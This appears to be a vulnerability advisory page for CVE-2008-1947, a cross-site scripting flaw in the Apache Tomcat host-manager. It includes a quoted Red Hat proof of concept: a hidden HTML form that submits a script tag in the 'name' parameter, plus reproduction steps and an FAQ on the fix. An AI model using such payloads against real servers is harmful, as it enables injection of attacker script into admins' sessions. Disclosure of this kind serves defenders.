CVE-2008-1947: XSS
Cross-site scripting (XSS) vulnerability in Apache Tomcat 5.5.9 through 5.5.26 and 6.0.0 through 6.0.16 allows remote attackers to inject arbitrary web script or HTML via the name parameter (aka the hostname attribute) to host-manager/html/add.
Other sources
Cross-site scripting (XSS) vulnerability in Apache Tomcat 5.5.9 through 5.5.26 and 6.0.0 through 6.0.16 allows remote attackers to inject arbitrary web script or HTML via the name parameter (aka the hostname attribute) to host-manager/html/add.
— Red Hat
Similarly as "alias" field in bug 247994 tomcat's host manager web interface suffers from javascript exploit in the "name" field:
Assume that after logged in, the victim was lead to the malicious web server with following file installed. <form action="http://localhost:8080/host-manager/html/add" method="get"> <INPUT TYPE="hidden" NAME='name' VALUE="<script>alert()</script>"> <INPUT TYPE="hidden" NAME='aliases' VALUE="somealias"> <input type="submit"> </form>
Steps to reproduce:
install tomcat5 tomcat5-admin-webapps. edit /etc/tomcat5/tomcat-users.xml and add <role rolename="tomcat"/> <user username="tomcat" password="tomcat" roles="tomcat,admin"/> restart tomcat5 Visit http://localhost:8080/host-manager/html/add login with user name tomcat and password tomcat Enter the following: name: <script>alert("name-exploit!")</script> alias: somealias hit add. You should see the javascript alert box popping up.
— Red Hat
Affected Software
Event History
Parent advisories
This vulnerability appears in the following advisories.
Frequently Asked Questions
What is the severity of CVE-2008-1947?
CVE-2008-1947 is classified as a medium severity cross-site scripting vulnerability in Apache Tomcat.
How do I fix CVE-2008-1947?
To mitigate CVE-2008-1947, upgrade Apache Tomcat to version 5.5.27 or 6.0.18 or later.
Which versions of Apache Tomcat are affected by CVE-2008-1947?
CVE-2008-1947 affects Apache Tomcat versions from 5.5.9 to 5.5.26 and 6.0.0 to 6.0.16.
What type of vulnerability is CVE-2008-1947?
CVE-2008-1947 is a cross-site scripting (XSS) vulnerability allowing attackers to inject arbitrary web scripts.
What attack vector does CVE-2008-1947 utilize?
CVE-2008-1947 can be exploited via the name parameter in the host-manager application.